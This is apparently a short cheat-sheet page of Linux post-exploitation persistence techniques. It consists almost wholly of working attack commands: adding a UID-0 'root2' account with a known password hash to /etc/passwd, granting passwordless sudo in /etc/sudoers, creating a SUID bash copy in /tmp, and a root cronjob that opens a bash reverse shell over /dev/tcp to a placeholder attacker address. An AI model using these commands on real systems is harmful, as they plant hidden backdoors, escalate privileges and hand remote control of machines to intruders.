Skip to content

Persistence Methods

Add new root to /etc/passwd

Add new root user
echo "root2:<hash>:0:0:root:/root:/bin/bash" >> /etc/passwd
Add new root user
echo "root2:S3g6q5KuTzNkU:0:0:root:/root:/bin/bash" >> /etc/passwd

Password hash S3g6q5KuTzNkU = root

Swith to new root2 user
su root2

Add user to /etc/sudoers

echo "<user> ALL=(ALL:ALL) NOPASSWD:ALL" >> /etc/sudoers

SUID Bash

cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash
./rootbash -p

Malicious Cronjob

echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/<ip address>/<port #> 0>&1' "